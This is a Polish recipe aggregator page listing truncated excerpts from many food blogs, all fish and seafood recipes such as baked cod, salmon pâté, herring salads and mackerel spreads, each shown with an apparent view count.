Prowansalskie danie, występujące w wielu odmianach. Najbardziej klasyczny zestaw to karmelizowana cebula, fileciki anchois i czarne oliwki. Zazwyczaj ryby są ułożone w taki sposób, aby utworzyły kratkę, pomiędzy którą rozkłada się oliwki. Zazwyczaj... Chyba, że do pomocy wkracza dziecko i bezkompromisowo realizuje swoje zamiary. No cóż nie można przecież podcinać maluchom skrzydeł, prawda? ;) Danie smakowało mnie i mężowi, młodsza część

zadanie-gotowanie
Dorsz w suszonych pomidorach na purée ziemniaczano-szpinakowym 208

cytryny blendujemy na gładką masę. 2. Blachę do pieczenia wykładamy papierem. Kładziemy na papierze filety z dorsza, smarujemy je pastą z suszonych pomidorów z każdej strony. 3. Pieczemy rybę w piekarniku nagrzanym do temperatury 170°C i pieczemy przez około 15 minut. Pur é e ziemniaczano-szpinakowe: 1. Ziemniaki myjemy, obieramy ze skórki, gotujemy w osolonej wodzie do miękkości

W kuchni Katie
Sos pomidorowy – z pieczonych pomidorów 245

Bez żadnych wyrzutów sumienia korzystam w kuchni z pomidorów w puszce – są idealnie słodkie, dojrzałe, soczyste i dodatkowo – obrane. Dostępne zawsze, wszędzie i w wielu wariantach

Karo in the Kitchen
CURRY RYBNE 127

Curry rybne z dorsza...danie dla wielbicieli kuchni orientalnej oraz ryb 🐟 Jak już pisałam około tydzień temu, testuję nowe pasty warzywne od firmy Rolnik , które można stosować jako dodatek do kanapek, tart, zapiekanek, makaronów... Dziś postanowiłam wypróbować jak sprawdzą się jako dodatek do sosów. Wykorzystując pastę warzywną z nutą curry powstało curry rybne z polędwiczek z dorsza na mleczku kokosowym

Kuchnia MagdaLeny
pieczony dorsz atlantycki na obiad... 187

Składniki: filet z dorsza 2 sztuki duże, olej rzepakowy 4 łyżki, przyprawa do ryb 1 opakowanie, papryka ostra mielona 1 łyżeczka, ziemniaki ugotowane 1/2 kg, surówka - ile potrzeba, natka pietruszki 1/2 pęczka każdy filet natrzeć olejem rzepakowym, natrzeć przyprawami i odstawić do lodówki na 30 minut w urządzeniu do pieczenia Philips Airfryer na 180 C piec około 25-35 minut

W Mojej Kuchni Lubię
domowe bułki z czterech składników z najlepszą pastą z makreli 182

stopni (góra-dół) na o 20 minut (aż zaczną robić się złote). Po upieczeniu od razu wyjmujemy z piekarnika i studzimy na kratce. Pasta z mareli: Odzielamy rybę od ości i przekladamy do miseczki. Jajko ogórka i cebulę kroimy w drobną kostkę. Zioła siekamy. Dodajemy łyżę majonezu i dokładnie mieszamy. Gotowe! Smacznego

Cook&Love
Makaron z wędzonym łososiem, rukolą i suszonymi pomidorami 171

użyty makaron jest to bavette. Swym kształtem przypomina grube, spłaszczone spaghetti. Idealnie łączy się z sosami, czy z pesto. Sprawdza się również idealnie w potrawach z owocami morza, czy rybami. Makaron z wędzonym łososiem, rukolą i suszonymi pomidorami 2 duże porcje Składniki: około 250 g makaronu spaghetti lub bavette (połowa opakowania) 200 g wędzonego łososia 2 ząbki czosnku

PatiGotuje
Pstrąg pieczony podany z sałatką letnią 135

Jedną z moich ulubionych ryb jest pstrąg, który jest smaczny na stale zagościł w mojej diecie :) Danie szybkie, proste idealne na piątkowy obiad i inne dni w tygodniu. Szczególnie polecam osobom liczącym kalorie :) Składniki · 2 pstrągi · Wędzony olej rzepakowy · Kilka gałązek koperku · Kilka gałązek tymianku · Cytryna · Sol, pieprz do smaku

Kulinarne pyszności Molki
Amarantus z dorszem i szparagami 162

Składniki: 250 g amarantusa 1 pęczek szparagów 250 g fileta z dorsza 1 średni por 1 mały jogurt naturalny sól, pieprz przyprawa do ryb Przygotowanie: Pora posiekać, szparagi umyć, pokroić … Czytaj dalej Amarantus z dorszem i szparagami

czarrna od kuchni
Łosoś na parze z sosem imbirowym (Salmone al vapore con crema di zenzero) 171

pieprzem. Sos ponownie zagotowujemy, zmniejszamy ogień i gotujemy ok. 5 minut, mieszając od czasu do czasu. Filety z łososia skrapiamy sokiem z cytryny, doprawiamy solą i pieprzem. Rybę gotujemy na parze ok. 15-20 minut. Ugotowane filety z łososia podajemy z sosem imbirowym. **** PREPARAZIONE Per prima cosa preparate la crema di zenzero. Pelate lo zenzero e tagliatelo a fettine

La grande e la piccola cuoca
ŁOSOŚ PO INDYJSKU 210

Aromatyczna ryba ,orientalne smaki i " niebo w gębie".Chcesz poznać kuchnię indyjską i jej  smak , zacznij od tej potrawy , która cię przeniesie w czasie do krainy pachnącego sandałowego drzewa , tropikalnych lasów i gorącego cynamonem i kardamonem kawy.Polecam. 1 papryka czerwona 1 papryka zielona 2 filety z łososia 1 papryka żółta 2 ząbki czosnku 3 cm.świeżego imbiru 1 cebula

Kocurkowe rozmyślania w kuchni Anielki
Pasta z makreli wędzonej z jajkami 132

Pasty jajeczne wręcz uwielbiam, a ta pasta z makreli wędzonej z jajkami jest moją ulubioną. Mogłabym się nią zajadać codziennie na śniadanie. Najważniejsze podczas przyrządzania pasty, jest przygotowanie ryby i dokładne oddzielenie jej od ości, aby podczas jedzenia nie napotkać niemiłych niespodzianek kujących w przełyk. Zobaczcie też: Pasta jajeczna z tuńczykiem Przepis na pastę z makreli Drukuj przepis Porcji

Kuchnia Bazylii
Burgery z dorsza 105

łyżeczkę słodkiej papryki - szczyptę soli i pieprzu ziołowego - olej do smażenia - ulubione warzywa i sosy 1. Filety z dorsza kroimy w niewielką kosteczkę i przekładamy do miski. 2. Do ryby dodajemy jajka, ketchup, musztardę oraz porcjami mąkę i bułkę tartą. Całość dokładnie mieszamy. 3. Następnie dodajemy przyprawy i posiekany szczypiorek. Mieszamy i formujemy kotlety. Jeśli masa nadal klei się

Bez Cebuli
Klopsy z łososia 133

dodatkowo w bułce tartej. Jeśli masa byłaby za rzadka dodać trochę bułki tartej, ale nie za dużo bo będą sucha. Jak lubicie można dodać 1/2 łyżeczki przyprawy do ryb. W nagrzanym piekarniku do 190 C piec klopsiki, położyć je na raszkach, żeby z obydwu stron ładnie się przypiekły. Można też położyć na blaszce, ale w połowie czasy odwrócić. Piec

Kuchnia Pokoleń
Chrupiąca, pieczona ryba z frytkami z cukini 185

praskę i mieszamy z około 4 łyżkami oliwy z oliwek i suszonymi ziołami. Filety nacieramy czosnkiem, posypujemy odrobiną tymianku.  Bułkę tartą mieszamy z starkowanym na małych oczkach serem. Rybę z  dwóch stron obtaczamy w bułce wymieszanej z serem. Układamy na blaszce wyłożonej papierem do pieczenia.  Cukinię myjemy i kroimy na cienkie paski grubości około

Pan i Pani Smith w kuchni
SPAGHETTI Z TUŃCZYKIEM 107

jeszcze szybkie w wykonaniu. Dziś jest to spaghetti z tuńczykiem. Sos pomidorowy z dodatkiem tuńczyka. Przepis jak na spaghetti bolognese, tylko mięso mielone wymieniłam na tuńczyka 😉 Danie dla amatorów ryb... Składniki: 2 puszki tuńczyka w oleju ( po 180 g) 2 cebule 2 ząbki czosnku 1 puszka pomidorów krojonych 1 szklanka soku pomidorowego sól, pieprz 1 łyżeczka papryki słodkiej mielonej szczypta

Kuchnia MagdaLeny
PASZTET Z ŁOSOSIA 123

kroimy w drobną kostkę.  Paprykę myjemy, osuszamy, usuwamy nasiona i kroimy w drobną kostkę. Koperek myjemy, osuszamy i drobno siekamy. Wszystkie pokrojone składniki wrzucamy do miski z rybą. Dodajemy jajko, otręby, ząbek czosnku przeciśnięty przez praskę oraz przyprawy: sól, pieprz, paprykę słodką mieloną i gałkę muszkatołową. Masę mieszamy dokładnie za pomocą dłoni, a następnie przenosimy do małej foremki

Kuchnia MagdaLeny
Pasta z wędzonej makreli 176

pastą to super smaczne śniadanie :) Polecam :) Składniki: 1 wędzona makrela 1 cebula 3 jajka 3 ogórki kiszone 2 łyżki majonezu pieprz Makrelę obrać z ości i skóry. Można rybę rozgnieść widelcem, ale ja polecam posiekać nożem, ponieważ w ten sposób można wyłapać każdą ość, której się nie zauważy przy obieraniu. Jajka ugotować na twardo, ostudzić i pokroić w kostkę. Cebulę

kuchnia doski
Zupa rybna z pieczarkami, krewetkami, ryżem i warzywami 187

garnka lub wybrać sitkiem warzywa (marchewki nie wyrzucać). Do wywaru dodać umyte i pokrojone w plasterki pieczarki, pokrojone w talarki pory, umytą, obraną z ości i pokrojoną w kostkę rybę, opłukane zimną wodą na sitku krewetki i ryż. Gotować 5 minut. W międzyczasie umyć szparagi, odkroić twardą końcówkę i pokroić na mniejsze kawałki. Cukinię umyć i pokroić w kostkę

Passions hobbies life
ŚLEDZIE Z IMBIREM, SUSZONYMI ŚLIWKAMI I POMARAŃCZĄ 168

mleko do moczenia matiasów Wykonanie: Matiasy umyj i wymocz mleku. Jak długo? Niektórym wystarczy ok. 30 minut, inne potrzebują kilku godzin. Trzeba próbować, kiedy przestaną być słone. Następnie wyłóż rybę na sito i dokładnie umyj zimna wodą. Osusz – na sicie, a później przy pomocy papierowych ręczników. Pokrój na kawałki – takie na jeden kęs. Cebulę i czosnek posiekaj, zeszklij na oleju

Anioły w kuchni
Łosoś z marynowaną cukinią (Salmone con zucchine marinate) 164

odstawiamy na ok. 1 godz. Filety z łososia skrapiamy sokiem z limonki, oprószamy solą i pieprzem, po czym odstawiamy do lodówki na ok. 30 minut. Rybę układamy na natłuszczonej formie sk ó rką do dołu. Zapiekamy ok. 15 minut w piekarniku nagrzanym do 170 stopni. Upieczonego łososia podajemy z cukinią i sosem

La grande e la piccola cuoca
Zupa rybna bardzo pyszna 153

Zupa rybna bardzo pyszna! Dziś ryba w roli głównej. Będzie to coś naprawdę prostego,ale zarazem pysznego. Zrobię zupę rybną, która jest zapaszysta i tak smaczna, że dokładki same znajdują się na talerzu. Gotowanie zupy rybnej sprawia mi wiele przyjemności, ale potem jej jedzenie to sama poezja smaku. Do zupy rybnej zraziłam się kiedy serwowano ją na stołówce szkolnej. Już

Tylko pysznie
Bulion dashi 154

Dzisiaj bulion, który jest podstawowym składnikiem kuchni japońskiej. Dashi to wywar z suszonych płatków ryby bonito (katsuobushi) oraz wodorostów konbu. Używa się go jako baza różnych zup np. miso-shiru lub ramen. Jest bardzo prosty i szybki do przygotowania i nie wymaga specjalnych umiejętności kulinarnych Składniki: 1 l zimnej wody + 1/2 szklanki 20 g konbu 30 g katsuobushi (bonito) Składniki

Oryginalny smak
Dorsz z grillowanymi warzywami 197

Składniki: polędwica z dorsza, po kawałku na osobę 1 młoda cukinia 1 pęczek zielonych szparagów 1 średni por 1 marchewka sól, pieprz curry przyprawa do ryb olej Przygotowanie: Kawałki dorsza … Czytaj dalej Dorsz z grillowanymi warzywami

czarrna od kuchni
Filety rybne w keczupie 165

cebulę   Gotować wszystko na wolnym ogniu przez ok 15 min. Odstawić, dodać ogórki kiszone pokrojone w paski, wszystko wymieszać i odstawić do wystygnięcia Przekładać warstwami, najpierw zalewę następnie rybę, odstawić do lodówki by wszystko sobą przeszło

Proste Potrawy
Jajka faszerowane pastą z makreli z dodatkiem oleju rzepakowego 145

już ostatnia moja propozycja na wielkanocne dania w tym roku. Jajka faszerowane pastą z makreli bardzo przypadły nam do gustu. Dodatek koncentratu pomidorowego idealnie podkreśla smak wędzonej ryby, a jej kolor fajnie kontrastuje z bielą białek. Jeśli macie w domu szprycę, napełnijcie ją pastą i ładnie udekorujcie jajka. Będą się o wiele lepiej prezentowały na stole, niż takie napełnione

Kulinarne przygody Gatity
Spring rolls z łososiem w azjatyckiej marynacie i zielonymi warzywami 202

Można dodać szczyptę cukru trzcinowego.  Łososia pokroić w paski o szerokości ok 1,5 cm. Usmażyć na złoto na rozgrzanym oleju kokosowym. Z patelni odlać nadmiar tłuszczu. Polać rybę marynatą z sosu sojowego i odstawić.  Awokado obrać, pokroić w plastry i pokropić sokiem z cytryny. Ogórka przekroić na pół w poprzek, a następnie wzdłuż. Usunąć nasionka. Pokroić ogórka

Kulinarne Inspiracje
Warstwowa sałatka śledziowa – szuba. Śledzie pod pierzyną 240

słone – nawet przez dobę) w mleku . Jeśli są naprawdę bardzo, bardzo mocno słone, mleko należy po 10-12 godzinach wymienić na nowe. Pozwoli to w znacznym stopniu zniwelować słoność ryby. Następnego dnia wymoczone śledzie osuszamy na papierowych ręcznikach, a następnie kroimy w poprzek na 0,5cm kawałki. Buraki szorujemy pod bieżącą wodą i albo gotujemy je do miękkości, albo

Karo in the Kitchen
Ryba z pesto i pomidorkami 158

pomidorków sól, świeżo mielony pieprz łyżka oliwy Piekarnik nastawić na 180 stopni C. Umyte i osuszone filety oprószyć solą. Dno naczynia żaroodpornego posmarować oliwą, ułożyć na nim filety. Wierzch ryby posmarować pesto i obłożyć plastrami pomidorków. Przykryć naczynie i wstawić do nagrzanego piekarnika na około 20 minut. Upieczone filety oprószyć świeżo mielonym pieprzem lub (jak w oryginalnym przepisie) listkami świeżej

wyzwania kuchenne
Smażona makrela z razowym kuskusem, suszonym pomidorem i bazylią 161

usmażyła i że jest pyszna. Kupiliśmy ostatnio tak na próbę, zrobiłam najprościej jak się da, oprószyłam solą, pieprzem i suszonymi pomidorami z bazylią i czosnkiem. Usmażyłam na maśle klarowanym. Ryba rzeczywiście jest w smaku rewelacyjna, byłam pod ogromnym wrażeniem, bo powiem szczerze, że jadłam w puszkach, czy wędzoną, ale takiej jakoś nie. Do tego zrobiłam razowy kuskus , który wymieszałam

kruche babeczki
Zupa rybna z ryżem w wersji de luxe 127

przez sitko do kolejnego garnka (marchewki nie wyrzucać). Do wywaru dodać umyte i pokrojone w plasterki pieczarki, pokrojonego w talarki pora, umytą, obraną z ości i pokrojoną w kostkę rybę, umyte na sitku krewetki i gotować około 15 minut. Na koniec wsypać ugotowany ryż, pogniecioną widelcem marchewkę, umytą i drobno posiekaną natkę pietruszki i doprawić zupę solą i pieprzem. Uwagi

Passions hobbies life
Czarniak po włosku 198

Składniki: 30 dkg świeżego fileta z czarniaka 8 plasterków szynki parmeńskiej pasta z suszonych pomidorów przyprawa do ryb Galeo Przygotowanie: Fileta przekroić na cztery kawałki, każdy z nich nasmarować pastą … Czytaj dalej Czarniak po włosku

czarrna od kuchni
Rybne pulpety z karmelizowaną cebulą 101

zrobić gdy kupimy zbyt dużo wędzonej ryby ? Może takie pulpeciki.  Składniki 200 g wędzonego dorsza 200 g ugotowanych ziemniaków starta skórka z 1/2 cytryny łyżka natki pietruszki sól pieprz mąka 2 jajka bułka tarta olej do głębokiego smażenia szczypta chili 2 duże czerwone cebule oliwa 1 łyżka brązowego cukru     Przygotowanie   Oczyszczonego ze skóry i ości dorsza

R'n'G Kitchen
Roladki z pstrąga z kremowym serkiem i pomidorami 172

łyżeczki soku z limonki 1 kromka chleba (nieziarnistego, bez skórki 300 g pomidorków koktajlowych w soku pomidorowym czarne oliwki według uznania 1 szlotka sól i pieprz bazylia Jeżeli ryby są w całości, należy je najpierw oczyścić i odfiletować. Filety opłukać w zimnej wodzie, osuszyć ręcznikiem papierowym. Do miski przełożyć serek Apetina. Dodać ząbek czosnku przeciśnięty przez praskę (lub drobno posiekany

Pełny talerz
Dorsz zapiekany, z sosem jogurtowo – koperkowym 178

Składniki: Filety z dorsza ze skórą Sól Masło Jogurt naturalny Koperek 1 ząbek czosnku Cukier Wykonanie: Dorsza układamy na blaszce wyłożonej papierem do pieczenia. Przyprawiamy solę. Na każdy kawałek ryby wykładamy niewielką ilość masła. Zapiekamy w piekarniku w temperaturze 170 o C przez około 15 minut. W międzyczasie przygotowujemy sos. W naczyniu umieszczamy jogurt naturalny. Koperek drobno siekamy, dodajemy

Smaki Ewy
smażone śledzie w sosie czosnkowo-cebulowo-pomidorowym... 197

lodówki na 2 godziny filety obtaczać w mące (mąkę sypię do woreczka, nie sypie po blacie mąką), na patelni Taurus "zobacz TUTAJ: #myambition" , na której doskonale się smaży ryby, na mocno gorącym oleju rzepakowym smażyć na rumiano filety, usmażone odkładać na talerz na umytą patelnię wlać olej i rozgrzać, wsypać cebulę pokrojoną, posypać cukrem, podsmażać obrane ząbki czosnku pokroić drobno

W Mojej Kuchni Lubię
Kawałki miruny w plastrach cytryny 143

mięsa, o czym niejednokrotnie zresztą Wam wspominałam :) Co powiecie więc na taką mirunę, pełną aromatycznego rozmarynu, koperku i oczywiście cytryny? Ta ostatnia wydaje mi się wręcz niezastąpiona przy przygotowywaniu ryb. A wiecie... marzy mi się jeszcze solidna porcja łososia, ale jego cena mnie skutecznie odstrasza... Gdyby przyszło kupić go dla 4 osób, to pewnie z 50zł byłoby nie moje

Kuchnia w czekoladzie
POMIDORÓWKA Z DORSZEM I RYŻEM 143

Zupa pomidorowa to klasyk. Pomidorówka z ryżem była moją ulubioną zupą dzieciństwa. Dalej darzę ją dużą sympatią, choć z wiekiem smaki się zmieniają. Dziś postanowiłam smak tradycyjnej pomidorówki przełamać rybą, a dokładnie dorszem. Otrzymałam pomidorową zupę rybną - pyszną zupę! Wybierając się po składniki na zupę warto wcześniej przeglądnąć gazetki promocyjne, np, Biedronki →  klik , można zaoszczędzić wtedy parę groszy

Kuchnia MagdaLeny
Pasta kanapkowa z konserwy rybnej z marchewką – Lubelski Kociołek 243

Pasta kanapkowa z konserwy rybnej z marchewką 1 puszka filetów rybnych w pomidorach (może być śledź lub makrela) mała marchewka pół jabłka 1-2 łyżki majonezu pół małej cebulki Rybę przekładamy do miseczki. Marchewkę ścieramy na tarce o drobnych oczkach a jabłko na oczkach grubszych. Cebulkę drobno kroimy. Dodajemy majonez. Wszystkie składniki mieszamy i dokładnie ucieramy widelcem na gładką pastę

sierotka maRysia w kuchni
Kotlety z dorsza. 336

delikatne i soczyste dzięki dodatkowi jabłka oraz majonezu. Ze smakiem lekko podkręconym ostrą musztardą. Z koperkiem jako klasycznym dopełnieniem zestawu aromatów. Smaczna i zdrowa alternatywa dla klasycznych mielonych. Oczywiście, rybę można usmażyć tak po prostu, ale w ten sposób jest znacznie ciekawiej! Prawda? ;) Składniki: 500 g filetów z dorsza bez skóry (świeżych lub mrożonych) 3 kromki chleba 1 jabłko

zadanie-gotowanie
Kotleciki z wędzonego pstrąga 222

ostropestu mielonego (opcjonalnie) Mięso z pstrągów dokładnie oddzielamy od ości i ręką mieszamy z przyprawami. Cebulę siekamy w drobną kostkę i podsmażamy na łyżce oleju, po czym dodajemy do ryby. Mięso mieszamy z twarogiem oraz cebulą, (opcjonalnie dodajemy ostropest). Możemy spróbować do smaku, i ewentualnie dodać więcej soli. Formujemy kotleciki i smażymy na 2 łyżkach oleju, około 4-5 minut

Klasyka Gotowania
JAJKA FASZEROWANE WĘDZONĄ MAKRELĄ 144

często pojawiają się na naszych stołach podczas świąt Wielkanocnych. Do świąt coraz bliżej, więc przedstawiam moją wersję jajek faszerowanych - są to jajka faszerowane wędzonych makrelą. Pyszna propozycja dla wielbicieli ryb 😉 Składniki: 5 jajek 1 makrela wędzona pęczek szczypiorku 2 łyżki majonezu sól, pieprz Wykonanie: Jajka gotujemy na twardo, studzimy, obieramy ze skorupki i oddzielamy żółtka od białek. Wędzoną makrelę obieramy

Kuchnia MagdaLeny
Dorsz z piekarnika w pomidorach, z oliwkami, kaparkami i oregano 141

passty pomidorowej  4-5 suszonych pomidorów w zalewie   sól pieprz oregano (najlepiej świeży) cukier ocet balsamiczny (wg potrzeb) sok z cytryny oliwki kaparki (jak ktoś lubi) PRZYGOTOWANIE: Rybę myjemy, osuszamy ręcznikiem, skrapiamy sokiem z cytryny.Na patelnię z grubym dnem, wlewamy łyżkę oliwy, wrzucamy pokrojoną w kosteczkę cebule i czosnek, następnie pokrojone pomidory suszone. Smażymy 1-2 minuty

Kopystką po garach
Śledzie korzenne 135

marynatą do słoika, jeśli śledzie nie są pokryte marynatą, to dodać więcej oleju. Słoik ze śledziami wstawić na około 2 dni do lodówki. Zobacz również stronę Ryby , może coś jeszcze Cię zainspiruje

Kuchcik gotuje
Łódeczki z ryżem i łososiem 85

rzymską można wykorzystać w formie łódek. 1 sałata rzymska 1/2 szklanki ryżu 1 papryka czerwona mała 6 pomidorów suszonych 3 mandarynki 1 kawałek łososia sól, pieprz przyprawa do ryb 1 cebula mała natka pietruszki 2 łyżki oleju oliwa od suszonych pomidorów Ryż przelewam na sitku zimną wodą, przekładam do garnka, dodaję dwie łyżki oliwy, sól i gotuję tak długo

wesoła kuchnia
DIETETYCZNE PULPETY Z DORSZA 180

PRZYGOTOWANIE :  Dorsza myjemy, doprawiamy solą i pieprzem, przekładamy na papier do pieczenia. Pieczemy w piekarniku około 20 minut w temperaturze 180 % C. Rybę po upieczeniu studzimy i rozdrabniamy widelcem.  Do dużej miski przekładamy rozdrobnione mięso dorsza, dodajemy jajka, pokrojone w kostkę-  chleb tostowy, paprykę, por, cukinię, posiekany koperek i natkę pietruszki. Wszystko dobrze mieszamy i lekko ugniatamy

Kulinarne Fantazje Marioli
ŁOSOŚ Z WARZYWAMI I CHIPSAMI Z BATATA 137

kroimy w plastry. Obtaczamy w oliwie z ziołami i układamy na blaszce wyłożonej papierem do pieczenia. Wkładamy do piekarnika nagrzanego do 180 stopni na około 15-20 min. Rybę oraz warzywa odsączamy z marynaty i smażymy na rozgrzanej oliwie z obu stron po 2 min. Następnie przenosimy do naczynia żaroodpornego i wkładamy do piekarnika na około 10 min. Wykładamy

Kuchnia MagdaLeny
Makaron z wędzoną makrelą 147

interpretacja sycylijskiego przepisu na pasta con le sarde, który podejrzałem kiedyś w programie Nigelli. Długo nie odważyłem się tego przepisu odtworzyć, głównie ze względu na połączenie rodzynek z wędzoną rybą, które wydaje się dość kontrowersyjne, ale wbrew pozorom jest zaskakująco ciekawe. Grunt to się nie bać, bo jeśli lubicie wędzoną makrelę, to z pewnością i Wam to danie posmakuje. Ogromnym

Food Square
Śledzie iwasi w oleju, z różowym pieprzem 270

wymagają wymaczania, nadają się do bezpośredniego spożycia. Można je doprawić według własnego uznania. No to… doprawiamy – Śledzie iwasi w oleju, z różowym pieprzem. Składniki: - puszka śledzi iwasi (waga ryby 900 g) - 2 cebule - olej lniany - kilka ziaren ziela angielskiego - 3 – 4 listki laurowe - majeranek otarty - różowy pieprz ziarnisty - gałązki kopru do dekoracji Jako że śledzie użyte przeze mnie

mojewypiekiinietylko
Sałatka z à la Piña Colada z łososiem, ananasem oraz kokosem 135

Idealna potrawa na kolację lub lunch do pracy. Bardzo lekka z rybą, owocami oraz orzechami, które dobrze wpływają na obniżenie ciśnienia tętniczego, obniżenie poziomu cholesterolu LDL oraz podwyższenie cholesterolu HDL. Dodatkowo ananas zawiera dużo manganu, który bierze udział w metabolizmie kości a jego niedobór może powodować osteoporozę. Ponad to połączenie tych smaków przypomina mi lato i wakacje. Wydaje mi się

wysmienity
Dietetyczna pasta z tunczyka 158

Dzisiaj proponuję pyszną, dietetyczną pastę do chleba z tuńczyka. Wystarczy dodać ser kozi a może być to nowa, smaczna, ulubiona wersja pasty z ryby, idealna na kolację, czy przekąskę ze świeżym chlebem. W dodatku o zmniejszonej zawartości kalorii i tłuszczu, za to obfitej w białko. Pomysł mojej siostry. Czytaj więcej

Bernika - moj kulinarny pamietnik
Śledzie w sosie musztardowym 188

przysłowiowy śledzik zbliżają się do nas wielkimi krokami ! W związku z tym dziś specjalnie na tę okazję przygotowałam dla Was kolejną propozycję na podanie tej pysznej i bardzo popularnej ryby. Oto śledzie w sosie musztardowym, które wcześniej zostały zamarynowane w delikatnej zalewie octowej, a następnie wymieszane z dwoma rodzajami musztardy: zwykłą i ziarnistą. Ziarenka gorczycy fajnie strzelają między zębami, uwalniając

Kulinarne przygody Gatity
Omlet ‘country style’ z wędzonym łososiem i ziemniakami 192

patelni wyrównujemy, tak żeby nigdzie nie było dziur. Teraz pracujemy szybko – spód omletu powoli dochodzi, a wierzch jest jeszcze płynny i nieścięty – na środku rozkładamy pasem porcję wędzonej ryby, posypujemy ją koprem, na to połowa chrupiących usmażonych ziemniaków, posiekany szczypior i tarty ser. Przesuwamy omlet żeby go zamknąć przechylając patelnię w jedną stronę, pomagamy sobie pokrywką lub talerzem

Karo in the Kitchen
1. Zupa z żabnicy z warzywami 89

Dzisiejszy przepis pochodzi z warsztatów "Sobotni targ na zdrowie" z marką Philipak Milano. Po raz pierwszy spotkałam się z rybą żabnicą byłam ciekawa smaku. Pyszna delikatna w smaku (...)" Ząbnica występuje Wybrzeże Europy i północno-zachodniej Afryki. Spotykana na głębokościach od 20–1000 m. Według Greenpeace gatunek jest zagrożony z powoduprzełowienia, a połowy żabnicy wyrządzają poważne

Kulinarne pyszności Molki
Rolada z tuńczyka z olejem rzepakowym 135

Uwielbiam ryby pod każdą postacią. W spiżarce znalazłam kilka puszek tuńczyka w oleju. Wymyśliłam sobie, ze przygotuję roladę z tuńczyka z olejem rzepakowym. Roladę możemy podać na przystawkę lub kolację, „Olej rzepakowy jest naturalnym źródłem kwasów omega – 3 i dlatego często dodaję do potraw i przygotowuję na bazie oleju różne sosy składniki 4 opakowania tuńczyka w oleju 2 jajka

Kulinarne pyszności Molki
Pierogi z wędzonym łososiem 155

dopełnieniem jest sos śmietanowo-koperkowy. Bez niego- przyznaję bez bicia smakowałyby mi zdecydowanie mniej.  Zrobiłam małą porcję, jak to zwykle bywa z nowościami, ale jeśli jesteście smakoszami ryb i tak jak ja lubicie łososia, to spokojnie możecie podwoić porcję 😉 Składniki: Ciasto na ok 25 sztuk: 300g mąki pszennej 150ml gorącej wody 1 łyżka masła ½ łyżeczki soli Farsz: 250g białego

Kuchnia w czekoladzie
Łosoś z warzywami 171

Przepyszny, zdrowy ale klasyczny przepis na łososia z ziemniakami w łupinkach oraz brokułami i papryką. Obiad jest lekki, nadaje się idealnie dla niejadków, ponieważ ryba nie jest mdła. Robi się w ciągu 30 minut, także można również uznać to za szybki obiad. Warzywa które użyłam do tego przepisu mogą być zastąpione innymi, np. szparagami, szpinakiem, marchewką. Spróbujcie :) Składniki: * 4 filety

Klasyka Gotowania
Mule w mleczku kokosowym 128

danie na kolację we dwoje. Jeśli boicie się muli uprzedzam, że smakują znacznie lepiej niż wyglądają. Ich mięso jest delikatne i unikalne w smaku – w ogóle nie przypomina ryby czy też innych owoców morza. Mule w mleczku kokosowym: 1 kg świeżych muli (małży, omułków) 1 szklanka bulionu warzywnego lub drobiowego (250 ml) 1/2 puszki mleczka kokosowego

Poezja smaku
Dorsz w sosie chrzanowo - orzechowym 170

Kolejny przepis na rybkę z książki "Ryby są super" przepisy Karola Okrasy i Doroty Wellman. Tym razem według Karola Okrasy, halibuta zamieniłam na dorsz, bo nie miałam czasu na szukanie go.Rybka pyszna, sos idealnie do niej pasuje, jak zwykle super :-). Polecam i miłego dnia życzę :-) Składniki na 4 porcje: 4 filety z dorsza (halibuta) pieprz biały 2 łyżki mąki pszennej

kruche babeczki
ŚLEDZIE W SOSIE JOGURTOWYM Z MAŚLANKĄ 122

mleku. My najbardziej lubimy ze  śledziami marynowanymi  , więc pomijamy tę czynność. Przygotowane filety pokrójcie na centymetrowe paski. Cebulę dowolnie, drobno, posiekajcie, podobnie obrane jabłko i ogórki konserwowe. Rybę układajcie na przemian z ogórkami, cebulą i jabłkiem, najlepiej w pojemniku, który będzie można zamknąć. Jogurt wymieszajcie z maślanką i majonezem. Doprawcie pieprzem, jeśli trzeba solą (przy filetach solonych uważajcie

OliveandThyme
HALIBUT W KRUCHEJ PANIERCE Z PARMEZANEM 119

solą i pieprzem, oprószcie mąką z obu stron. Jajo rozmąćcie. Parmezan zetrzyjcie na tarce do miski z bułką tartą i wymieszajcie dokładnie. Na patelni rozgrzejcie masło klarowane. Oprószone mąką ryby zanurzcie w jaju, a następnie w mieszance parmezanu z bułką tartą. Układajcie w patelni na rozgrzanym maśle, smażcie kilka minut, na złoty kolor

OliveandThyme
PASZTET Z ŁOSOSIA 127

formę do pieczenia pasztetu. Wyłóżcie ją papierem do pieczenia, wylepcie (spód i ścianki) płatem ciasta francuskiego  (tak, aby pozostał kawałek do przykrycia pasztetu także od góry).  Przestudzoną rybę lekko zmiksujcie, dodajcie 1 całe jajo i 1 żółtko, bułkę tartą i posiekaną natkę (lub koperek), dokładnie wymieszajcie. Pozostałe białko rozbełtajcie i odstawcie. Do wyłożonej ciastem formy włóżcie pasztet. Przykryjcie

OliveandThyme
SEROWA ZAPIEKANKA Z ŁOSOSIEM I SZPINAKIEM W CIEŚCIE FILO 229

sól, pieprz, gałka muszkatołowa masło klarowane do smażenia + do smarowania ciasta filo 1 opakowanie ciasta filo (6-7 płatów) Przygotowanie Szpinak umyjcie* , posiekajcie. Cebulę i czosnek drobno pokrójcie. Z ryby odkrójcie skórę, pozbądźcie się ewentualnych ości, pokrójcie ją w dosyć grubą kostkę. Przygotujcie sery i wino. W głębokim rondlu rozgrzejcie masło. Na rozgrzany tłuszcz wrzućcie cebulę i czosnek, zeszklijcie. Dorzućcie

OliveandThyme
PASTA Z MAKRELI I SUSZONYCH POMIDORÓW 115

serka śmietankowego 1 łyżka octu balsamicznego 2 łyżki posiekanych ulubionych ziół (u mnie natka pietruszki) sól, świeżo zmielony pieprz Przygotowanie Z makreli ściągnijcie skórę i wyciągnijcie ości. Kawałki mięsa ryby wrzućcie do blendera razem z pozostałymi składnikami. Zmiksujcie na gładką masę

OliveandThyme
Dorsz w sosie szpinakowym 161

Delikatna ryba w sosie szpinakowym z dodatkiem śmietany i fety. Z przepisu wychodzą 3 porcje obiadowe. Najlepiej podawać z ryżem. 350 g filetów z dorsza 450 g mrożonego szpinaku 1 średnia cebula 4 łyżki fety 2 łyżki śmietany 18% sól do smaku pieprz do smaku 1 ząbek czosnku olej do smażenia Filety z dorsza opłukać i dokładnie natrzeć solą

Bullio
Błyskawiczny piątek - Łosoś na serowym szpinaku 139

